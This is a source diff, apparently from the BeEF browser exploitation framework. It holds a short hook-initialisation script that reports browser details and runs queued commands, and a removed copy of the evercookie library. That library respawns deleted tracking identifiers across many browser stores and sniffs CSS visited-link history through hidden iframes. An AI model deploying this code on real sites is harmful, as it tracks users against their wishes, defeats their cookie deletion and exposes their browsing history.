// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
|
||||
// and will have a new session id. The new session id will need to know
|
||||
// the brwoser details. So sendback the browser details again.
|
||||
|
||||
BEEFHOOK=beef.session.get_hook_session_id()
|
||||
|
||||
if( beef.pageIsLoaded ) {
|
||||
beef.net.browser_details();
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
beef_init();
|
||||
}
|
||||
|
||||
function beef_init() {
|
||||
if (!beef.pageIsLoaded) {
|
||||
beef.pageIsLoaded = true;
|
||||
beef.net.browser_details()
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
}
|
||||
}
|
||||
@@ -1,977 +0,0 @@
|
||||
/*
|
||||
* evercookie 0.4 (10/13/2010) -- extremely persistent cookies
|
||||
*
|
||||
* by samy kamkar : code@samy.pl : http://samy.pl
|
||||
*
|
||||
* this api attempts to produce several types of persistent data
|
||||
* to essentially make a cookie virtually irrevocable from a system
|
||||
*
|
||||
* specifically it uses:
|
||||
* - standard http cookies
|
||||
* - flash cookies (local shared objects)
|
||||
* - silverlight isolated storage
|
||||
* - png generation w/forced cache and html5 canvas pixel reading
|
||||
* - http etags
|
||||
* - http cache
|
||||
* - window.name
|
||||
* - IE userData
|
||||
* - html5 session cookies
|
||||
* - html5 local storage
|
||||
* - html5 global storage
|
||||
* - html5 database storage via sqlite
|
||||
* - css history scanning
|
||||
*
|
||||
* if any cookie is found, it's then reset to all the other locations
|
||||
* for example, if someone deletes all but one type of cookie, once
|
||||
* that cookie is re-discovered, all of the other cookie types get reset
|
||||
*
|
||||
* !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
|
||||
* OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
|
||||
*
|
||||
* USAGE:
|
||||
|
||||
var ec = new evercookie();
|
||||
|
||||
// set a cookie "id" to "12345"
|
||||
// usage: ec.set(key, value)
|
||||
ec.set("id", "12345");
|
||||
|
||||
// retrieve a cookie called "id" (simply)
|
||||
ec.get("id", function(value) { alert("Cookie value is " + value) });
|
||||
|
||||
// or use a more advanced callback function for getting our cookie
|
||||
// the cookie value is the first param
|
||||
// an object containing the different storage methods
|
||||
// and returned cookie values is the second parameter
|
||||
function getCookie(best_candidate, all_candidates)
|
||||
{
|
||||
alert("The retrieved cookie is: " + best_candidate + "\n" +
|
||||
"You can see what each storage mechanism returned " +
|
||||
"by looping through the all_candidates object.");
|
||||
|
||||
for (var item in all_candidates)
|
||||
document.write("Storage mechanism " + item +
|
||||
" returned " + all_candidates[item] + " votes<br>");
|
||||
}
|
||||
ec.get("id", getCookie);
|
||||
|
||||
// we look for "candidates" based off the number of "cookies" that
|
||||
// come back matching since it's possible for mismatching cookies.
|
||||
// the best candidate is very-very-likely the correct one
|
||||
|
||||
*/
|
||||
|
||||
/* to turn off CSS history knocking, set _ec_history to 0 */
|
||||
var _ec_history = 1; // CSS history knocking or not .. can be network intensive
|
||||
var _ec_tests = 10;//1000;
|
||||
var _ec_debug = 0;
|
||||
|
||||
function _ec_dump(arr, level)
|
||||
{
|
||||
var dumped_text = "";
|
||||
if(!level) level = 0;
|
||||
|
||||
//The padding given at the beginning of the line.
|
||||
var level_padding = "";
|
||||
for(var j=0;j<level+1;j++) level_padding += " ";
|
||||
|
||||
if(typeof(arr) == 'object') { //Array/Hashes/Objects
|
||||
for(var item in arr) {
|
||||
var value = arr[item];
|
||||
|
||||
if(typeof(value) == 'object') { //If it is an array,
|
||||
dumped_text += level_padding + "'" + item + "' ...\n";
|
||||
dumped_text += _ec_dump(value,level+1);
|
||||
} else {
|
||||
dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
|
||||
}
|
||||
}
|
||||
} else { //Stings/Chars/Numbers etc.
|
||||
dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
|
||||
}
|
||||
return dumped_text;
|
||||
}
|
||||
|
||||
function _ec_replace(str, key, value)
|
||||
{
|
||||
if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
|
||||
{
|
||||
// find start
|
||||
var idx = str.indexOf('&' + key + '=');
|
||||
if (idx == -1)
|
||||
idx = str.indexOf(key + '=');
|
||||
|
||||
// find end
|
||||
var end = str.indexOf('&', idx + 1);
|
||||
var newstr;
|
||||
if (end != -1)
|
||||
newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
|
||||
else
|
||||
newstr = str.substr(0, idx) + '&' + key + '=' + value;
|
||||
|
||||
return newstr;
|
||||
}
|
||||
else
|
||||
return str + '&' + key + '=' + value;
|
||||
}
|
||||
|
||||
|
||||
// necessary for flash to communicate with js...
|
||||
// please implement a better way
|
||||
var _global_lso;
|
||||
function _evercookie_flash_var(cookie)
|
||||
{
|
||||
_global_lso = cookie;
|
||||
|
||||
// remove the flash object now
|
||||
var swf = $('#myswf');
|
||||
if (swf && swf.parentNode)
|
||||
swf.parentNode.removeChild(swf);
|
||||
}
|
||||
|
||||
var evercookie = (function () {
|
||||
this._class = function() {
|
||||
|
||||
var self = this;
|
||||
// private property
|
||||
_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
|
||||
this._ec = {};
|
||||
var no_color = -1;
|
||||
|
||||
this.get = function(name, cb, dont_reset)
|
||||
{
|
||||
$(document).ready(function() {
|
||||
self._evercookie(name, cb, undefined, undefined, dont_reset);
|
||||
});
|
||||
}
|
||||
|
||||
this.set = function(name, value)
|
||||
{
|
||||
$(document).ready(function() {
|
||||
self._evercookie(name, function() { }, value);
|
||||
});
|
||||
}
|
||||
|
||||
this._evercookie = function(name, cb, value, i, dont_reset)
|
||||
{
|
||||
if (typeof self._evercookie == 'undefined')
|
||||
self = this;
|
||||
|
||||
if (typeof i == 'undefined')
|
||||
i = 0;
|
||||
|
||||
// first run
|
||||
if (i == 0)
|
||||
{
|
||||
self.evercookie_database_storage(name, value);
|
||||
self.evercookie_png(name, value);
|
||||
self.evercookie_etag(name, value);
|
||||
self.evercookie_cache(name, value);
|
||||
self.evercookie_lso(name, value);
|
||||
self.evercookie_silverlight(name, value);
|
||||
|
||||
self._ec.userData = self.evercookie_userdata(name, value);
|
||||
self._ec.cookieData = self.evercookie_cookie(name, value);
|
||||
self._ec.localData = self.evercookie_local_storage(name, value);
|
||||
self._ec.globalData = self.evercookie_global_storage(name, value);
|
||||
self._ec.sessionData = self.evercookie_session_storage(name, value);
|
||||
self._ec.windowData = self.evercookie_window(name, value);
|
||||
|
||||
if (_ec_history)
|
||||
self._ec.historyData = self.evercookie_history(name, value);
|
||||
}
|
||||
|
||||
// when writing data, we need to make sure lso and silverlight object is there
|
||||
if (typeof value != 'undefined')
|
||||
{
|
||||
if (
|
||||
(
|
||||
(typeof _global_lso == 'undefined') ||
|
||||
(typeof _global_isolated == 'undefined')
|
||||
)
|
||||
&& i++ < _ec_tests
|
||||
)
|
||||
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
|
||||
}
|
||||
|
||||
// when reading data, we need to wait for swf, db, silverlight and png
|
||||
else
|
||||
{
|
||||
if (
|
||||
(
|
||||
// we support local db and haven't read data in yet
|
||||
(window.openDatabase && typeof self._ec.dbData == 'undefined') ||
|
||||
(typeof _global_lso == 'undefined') ||
|
||||
(typeof self._ec.etagData == 'undefined') ||
|
||||
(typeof self._ec.cacheData == 'undefined') ||
|
||||
(document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
|
||||
(typeof _global_isolated == 'undefined')
|
||||
)
|
||||
&&
|
||||
i++ < _ec_tests
|
||||
)
|
||||
{
|
||||
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
|
||||
}
|
||||
|
||||
// we hit our max wait time or got all our data
|
||||
else
|
||||
{
|
||||
// get just the piece of data we need from swf
|
||||
self._ec.lsoData = self.getFromStr(name, _global_lso);
|
||||
_global_lso = undefined;
|
||||
|
||||
// get just the piece of data we need from silverlight
|
||||
self._ec.slData = self.getFromStr(name, _global_isolated);
|
||||
_global_isolated = undefined;
|
||||
|
||||
var tmpec = self._ec;
|
||||
self._ec = {};
|
||||
|
||||
// figure out which is the best candidate
|
||||
var candidates = new Array();
|
||||
var bestnum = 0;
|
||||
var candidate;
|
||||
for (var item in tmpec)
|
||||
{
|
||||
if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
|
||||
tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
|
||||
{
|
||||
candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
|
||||
}
|
||||
}
|
||||
|
||||
for (var item in candidates)
|
||||
{
|
||||
if (candidates[item] > bestnum)
|
||||
{
|
||||
bestnum = candidates[item];
|
||||
candidate = item;
|
||||
}
|
||||
}
|
||||
|
||||
// reset cookie everywhere
|
||||
if (typeof dont_reset == "undefined" || dont_reset != 1)
|
||||
self.set(name, candidate);
|
||||
|
||||
if (typeof cb == 'function')
|
||||
cb(candidate, tmpec);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_window = function(name, value)
|
||||
{
|
||||
try {
|
||||
if (typeof(value) != "undefined")
|
||||
window.name = _ec_replace(window.name, name, value);
|
||||
else
|
||||
return this.getFromStr(name, window.name);
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_userdata = function(name, value)
|
||||
{
|
||||
try {
|
||||
var elm = this.createElem('div', 'userdata_el', 1);
|
||||
elm.style.behavior = "url(#default#userData)";
|
||||
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
elm.setAttribute(name, value);
|
||||
elm.save(name);
|
||||
}
|
||||
else
|
||||
{
|
||||
elm.load(name);
|
||||
return elm.getAttribute(name);
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_cache = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// make sure we have evercookie session defined first
|
||||
document.cookie = 'evercookie_cache=' + value;
|
||||
|
||||
// evercookie_cache.php handles caching
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_cache.php?name=' + name;
|
||||
}
|
||||
else
|
||||
{
|
||||
// interestingly enough, we want to erase our evercookie
|
||||
// http cookie so the php will force a cached response
|
||||
var origvalue = this.getFromStr('evercookie_cache', document.cookie);
|
||||
self._ec.cacheData = undefined;
|
||||
document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
|
||||
$.ajax({
|
||||
url: 'evercookie_cache.php?name=' + name,
|
||||
success: function(data) {
|
||||
// put our cookie back
|
||||
document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
|
||||
self._ec.cacheData = data;
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_etag = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// make sure we have evercookie session defined first
|
||||
document.cookie = 'evercookie_etag=' + value;
|
||||
|
||||
// evercookie_etag.php handles etagging
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_etag.php?name=' + name;
|
||||
}
|
||||
else
|
||||
{
|
||||
// interestingly enough, we want to erase our evercookie
|
||||
// http cookie so the php will force a cached response
|
||||
var origvalue = this.getFromStr('evercookie_etag', document.cookie);
|
||||
self._ec.etagData = undefined;
|
||||
document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
|
||||
$.ajax({
|
||||
url: 'evercookie_etag.php?name=' + name,
|
||||
success: function(data) {
|
||||
// put our cookie back
|
||||
document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
|
||||
self._ec.etagData = data;
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_lso = function(name, value)
|
||||
{
|
||||
var div = document.getElementById('swfcontainer');
|
||||
if (!div)
|
||||
{
|
||||
div = document.createElement("div");
|
||||
div.setAttribute('id', 'swfcontainer');
|
||||
document.body.appendChild(div);
|
||||
}
|
||||
|
||||
var flashvars = {};
|
||||
if (typeof value != 'undefined')
|
||||
flashvars.everdata = name + '=' + value;
|
||||
|
||||
var params = {};
|
||||
params.swliveconnect = "true";
|
||||
var attributes = {};
|
||||
attributes.id = "myswf";
|
||||
attributes.name = "myswf";
|
||||
swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
|
||||
}
|
||||
|
||||
this.evercookie_png = function(name, value)
|
||||
{
|
||||
if (document.createElement('canvas').getContext)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// make sure we have evercookie session defined first
|
||||
document.cookie = 'evercookie_png=' + value;
|
||||
|
||||
// evercookie_png.php handles the hard part of generating the image
|
||||
// based off of the http cookie and returning it cached
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_png.php?name=' + name;
|
||||
}
|
||||
else
|
||||
{
|
||||
self._ec.pngData = undefined;
|
||||
var context = document.createElement('canvas');
|
||||
context.style.visibility = 'hidden';
|
||||
context.style.position = 'absolute';
|
||||
context.width = 200;
|
||||
context.height = 1;
|
||||
var ctx = context.getContext('2d');
|
||||
|
||||
// interestingly enough, we want to erase our evercookie
|
||||
// http cookie so the php will force a cached response
|
||||
var origvalue = this.getFromStr('evercookie_png', document.cookie);
|
||||
document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
|
||||
var img = new Image();
|
||||
img.style.visibility = 'hidden';
|
||||
img.style.position = 'absolute';
|
||||
img.src = 'evercookie_png.php?name=' + name;
|
||||
|
||||
img.onload = function()
|
||||
{
|
||||
// put our cookie back
|
||||
document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
|
||||
self._ec.pngData = '';
|
||||
ctx.drawImage(img,0,0);
|
||||
|
||||
// get CanvasPixelArray from given coordinates and dimensions
|
||||
var imgd = ctx.getImageData(0, 0, 200, 1);
|
||||
var pix = imgd.data;
|
||||
|
||||
// loop over each pixel to get the "RGB" values (ignore alpha)
|
||||
for (var i = 0, n = pix.length; i < n; i += 4)
|
||||
{
|
||||
if (pix[i ] == 0) break;
|
||||
self._ec.pngData += String.fromCharCode(pix[i]);
|
||||
if (pix[i+1] == 0) break;
|
||||
self._ec.pngData += String.fromCharCode(pix[i+1]);
|
||||
if (pix[i+2] == 0) break;
|
||||
self._ec.pngData += String.fromCharCode(pix[i+2]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.evercookie_local_storage = function(name, value)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (window.localStorage)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
localStorage.setItem(name, value);
|
||||
else
|
||||
return localStorage.getItem(name);
|
||||
}
|
||||
}
|
||||
catch (e) { }
|
||||
}
|
||||
|
||||
this.evercookie_database_storage = function(name, value)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (window.openDatabase)
|
||||
{
|
||||
var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
|
||||
|
||||
if (typeof(value) != "undefined")
|
||||
database.transaction(function(tx)
|
||||
{
|
||||
tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
|
||||
"id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
|
||||
"name TEXT NOT NULL, " +
|
||||
"value TEXT NOT NULL, " +
|
||||
"UNIQUE (name)" +
|
||||
")", [], function (tx, rs) { }, function (tx, err) { });
|
||||
|
||||
tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
|
||||
function (tx, rs) { }, function (tx, err) { })
|
||||
});
|
||||
else
|
||||
{
|
||||
database.transaction(function(tx)
|
||||
{
|
||||
tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
|
||||
function(tx, result1) {
|
||||
if (result1.rows.length >= 1)
|
||||
self._ec.dbData = result1.rows.item(0)['value'];
|
||||
else
|
||||
self._ec.dbData = '';
|
||||
}, function (tx, err) { })
|
||||
});
|
||||
}
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_session_storage = function(name, value)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (window.sessionStorage)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
sessionStorage.setItem(name, value);
|
||||
else
|
||||
return sessionStorage.getItem(name);
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
|
||||
this.evercookie_global_storage = function(name, value)
|
||||
{
|
||||
if (window.globalStorage)
|
||||
{
|
||||
var host = this.getHost();
|
||||
|
||||
try
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
eval("globalStorage[host]." + name + " = value");
|
||||
else
|
||||
return eval("globalStorage[host]." + name);
|
||||
} catch(e) { }
|
||||
}
|
||||
}
|
||||
this.evercookie_silverlight = function(name, value) {
|
||||
/*
|
||||
* Create silverlight embed
|
||||
*
|
||||
* Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
|
||||
* is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
|
||||
*/
|
||||
var source = "evercookie.xap";
|
||||
var minver = "4.0.50401.0";
|
||||
|
||||
var initParam = "";
|
||||
if(typeof(value) != "undefined")
|
||||
initParam = '<param name="initParams" value="'+name+'='+value+'" />';
|
||||
|
||||
var html =
|
||||
'<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
|
||||
initParam +
|
||||
'<param name="source" value="'+source+'"/>' +
|
||||
'<param name="onLoad" value="onSilverlightLoad"/>' +
|
||||
'<param name="onError" value="onSilverlightError"/>' +
|
||||
'<param name="background" value="Transparent"/>' +
|
||||
'<param name="windowless" value="true"/>' +
|
||||
'<param name="minRuntimeVersion" value="'+minver+'"/>' +
|
||||
'<param name="autoUpgrade" value="true"/>' +
|
||||
'<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
|
||||
'<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
|
||||
'</a>' +
|
||||
'</object>';
|
||||
document.body.innerHTML+=html;
|
||||
}
|
||||
|
||||
// public method for encoding
|
||||
this.encode = function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = this._utf8_encode(input);
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
chr1 = input.charCodeAt(i++);
|
||||
chr2 = input.charCodeAt(i++);
|
||||
chr3 = input.charCodeAt(i++);
|
||||
|
||||
enc1 = chr1 >> 2;
|
||||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||||
enc4 = chr3 & 63;
|
||||
|
||||
if (isNaN(chr2)) {
|
||||
enc3 = enc4 = 64;
|
||||
} else if (isNaN(chr3)) {
|
||||
enc4 = 64;
|
||||
}
|
||||
|
||||
output = output +
|
||||
_baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
|
||||
_baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
|
||||
|
||||
}
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
// public method for decoding
|
||||
this.decode = function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
enc1 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
enc2 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
enc3 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
enc4 = _baseKeyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = this._utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
}
|
||||
|
||||
// private method for UTF-8 encoding
|
||||
this._utf8_encode = function (string) {
|
||||
string = string.replace(/\r\n/g,"\n");
|
||||
var utftext = "";
|
||||
|
||||
for (var n = 0; n < string.length; n++) {
|
||||
|
||||
var c = string.charCodeAt(n);
|
||||
|
||||
if (c < 128) {
|
||||
utftext += String.fromCharCode(c);
|
||||
}
|
||||
else if((c > 127) && (c < 2048)) {
|
||||
utftext += String.fromCharCode((c >> 6) | 192);
|
||||
utftext += String.fromCharCode((c & 63) | 128);
|
||||
}
|
||||
else {
|
||||
utftext += String.fromCharCode((c >> 12) | 224);
|
||||
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
|
||||
utftext += String.fromCharCode((c & 63) | 128);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return utftext;
|
||||
}
|
||||
|
||||
// private method for UTF-8 decoding
|
||||
this._utf8_decode = function (utftext) {
|
||||
var string = "";
|
||||
var i = 0;
|
||||
var c = c1 = c2 = 0;
|
||||
|
||||
while ( i < utftext.length ) {
|
||||
|
||||
c = utftext.charCodeAt(i);
|
||||
|
||||
if (c < 128) {
|
||||
string += String.fromCharCode(c);
|
||||
i++;
|
||||
}
|
||||
else if((c > 191) && (c < 224)) {
|
||||
c2 = utftext.charCodeAt(i+1);
|
||||
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
|
||||
i += 2;
|
||||
}
|
||||
else {
|
||||
c2 = utftext.charCodeAt(i+1);
|
||||
c3 = utftext.charCodeAt(i+2);
|
||||
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
|
||||
i += 3;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
// this is crazy but it's 4am in dublin and i thought this would be hilarious
|
||||
// blame the guinness
|
||||
this.evercookie_history = function(name, value)
|
||||
{
|
||||
// - is special
|
||||
var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
|
||||
var baseElems = baseStr.split("");
|
||||
|
||||
// sorry google.
|
||||
var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
|
||||
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// don't reset this if we already have it set once
|
||||
// too much data and you can't clear previous values
|
||||
if (this.hasVisited(url))
|
||||
return;
|
||||
|
||||
this.createIframe(url, 'if');
|
||||
url = url + '/';
|
||||
|
||||
var base = this.encode(value).split("");
|
||||
for (var i = 0; i < base.length; i++)
|
||||
{
|
||||
url = url + base[i];
|
||||
this.createIframe(url, 'if' + i);
|
||||
}
|
||||
|
||||
// - signifies the end of our data
|
||||
url = url + '-';
|
||||
this.createIframe(url, 'if_');
|
||||
}
|
||||
else
|
||||
{
|
||||
// omg you got csspwn3d
|
||||
if (this.hasVisited(url))
|
||||
{
|
||||
url = url + '/';
|
||||
|
||||
var letter = "";
|
||||
var val = "";
|
||||
var found = 1;
|
||||
while (letter != '-' && found == 1)
|
||||
{
|
||||
found = 0;
|
||||
for (var i = 0; i < baseElems.length; i++)
|
||||
{
|
||||
if (this.hasVisited(url + baseElems[i]))
|
||||
{
|
||||
letter = baseElems[i];
|
||||
if (letter != '-')
|
||||
val = val + letter;
|
||||
url = url + letter;
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// lolz
|
||||
return this.decode(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.createElem = function(type, name, append)
|
||||
{
|
||||
var el;
|
||||
if (typeof name != 'undefined' && document.getElementById(name))
|
||||
el = document.getElementById(name);
|
||||
else
|
||||
el = document.createElement(type);
|
||||
el.style.visibility = 'hidden';
|
||||
el.style.position = 'absolute';
|
||||
|
||||
if (name)
|
||||
el.setAttribute('id', name);
|
||||
|
||||
if (append)
|
||||
document.body.appendChild(el);
|
||||
|
||||
return el;
|
||||
}
|
||||
|
||||
this.createIframe = function(url, name)
|
||||
{
|
||||
var el = this.createElem('iframe', name, 1);
|
||||
el.setAttribute('src', url);
|
||||
return el;
|
||||
}
|
||||
|
||||
// wait for our swfobject to appear (swfobject.js to load)
|
||||
this.waitForSwf = function(i)
|
||||
{
|
||||
if (typeof i == 'undefined')
|
||||
i = 0;
|
||||
else
|
||||
i++;
|
||||
|
||||
// wait for ~2 seconds for swfobject to appear
|
||||
if (i < _ec_tests && typeof swfobject == 'undefined')
|
||||
setTimeout(function() { waitForSwf(i) }, 300);
|
||||
}
|
||||
|
||||
this.evercookie_cookie = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// expire the cookie first
|
||||
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
}
|
||||
else
|
||||
return this.getFromStr(name, document.cookie);
|
||||
}
|
||||
|
||||
// get value from param-like string (eg, "x=y&name=VALUE")
|
||||
this.getFromStr = function(name, text)
|
||||
{
|
||||
if (typeof text != 'string')
|
||||
return;
|
||||
|
||||
var nameEQ = name + "=";
|
||||
var ca = text.split(/[;&]/);
|
||||
for (var i = 0; i < ca.length; i++)
|
||||
{
|
||||
var c = ca[i];
|
||||
while (c.charAt(0) == ' ')
|
||||
c = c.substring(1, c.length);
|
||||
if (c.indexOf(nameEQ) == 0)
|
||||
return c.substring(nameEQ.length, c.length);
|
||||
}
|
||||
}
|
||||
|
||||
this.getHost = function()
|
||||
{
|
||||
var domain = document.location.host;
|
||||
if (domain.indexOf('www.') == 0)
|
||||
domain = domain.replace('www.', '');
|
||||
return domain;
|
||||
}
|
||||
|
||||
this.toHex = function(str)
|
||||
{
|
||||
var r = "";
|
||||
var e = str.length;
|
||||
var c = 0;
|
||||
var h;
|
||||
while (c < e)
|
||||
{
|
||||
h = str.charCodeAt(c++).toString(16);
|
||||
while (h.length < 2)
|
||||
h = "0" + h;
|
||||
r += h;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
this.fromHex = function(str)
|
||||
{
|
||||
var r = "";
|
||||
var e = str.length;
|
||||
var s;
|
||||
while (e >= 0)
|
||||
{
|
||||
s = e - 2;
|
||||
r = String.fromCharCode("0x" + str.substring(s, e)) + r;
|
||||
e = s;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
/*
|
||||
* css history knocker (determine what sites your visitors have been to)
|
||||
*
|
||||
* originally by Jeremiah Grossman
|
||||
* http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
|
||||
*
|
||||
* ported to additional browsers by Samy Kamkar
|
||||
*
|
||||
* compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
|
||||
*
|
||||
* - code@samy.pl
|
||||
*/
|
||||
|
||||
|
||||
this.hasVisited = function(url)
|
||||
{
|
||||
if (this.no_color == -1)
|
||||
{
|
||||
var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
|
||||
if (no_style == -1)
|
||||
this.no_color =
|
||||
this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
|
||||
}
|
||||
|
||||
// did we give full url?
|
||||
if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
|
||||
return this._testURL(url, this.no_color);
|
||||
|
||||
// if not, just test a few diff types if (exact)
|
||||
return this._testURL("http://" + url, this.no_color) ||
|
||||
this._testURL("https://" + url, this.no_color) ||
|
||||
this._testURL("http://www." + url, this.no_color) ||
|
||||
this._testURL("https://www." + url, this.no_color);
|
||||
}
|
||||
|
||||
/* create our anchor tag */
|
||||
var _link = this.createElem('a', '_ec_rgb_link');
|
||||
|
||||
/* for monitoring */
|
||||
var created_style;
|
||||
|
||||
/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
|
||||
var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
|
||||
|
||||
/* Methods for IE6, IE7, FF, Opera, and Safari */
|
||||
try {
|
||||
created_style = 1;
|
||||
var style = document.createElement('style');
|
||||
if (style.styleSheet)
|
||||
style.styleSheet.innerHTML = _cssText;
|
||||
else if (style.innerHTML)
|
||||
style.innerHTML = _cssText;
|
||||
else
|
||||
{
|
||||
var cssT = document.createTextNode(_cssText);
|
||||
style.appendChild(cssT);
|
||||
}
|
||||
} catch (e) {
|
||||
created_style = 0;
|
||||
}
|
||||
|
||||
/* if test_color, return -1 if we can't set a style */
|
||||
this._getRGB = function(u, test_color)
|
||||
{
|
||||
if (test_color && created_style == 0)
|
||||
return -1;
|
||||
|
||||
/* create the new anchor tag with the appropriate URL information */
|
||||
_link.href = u;
|
||||
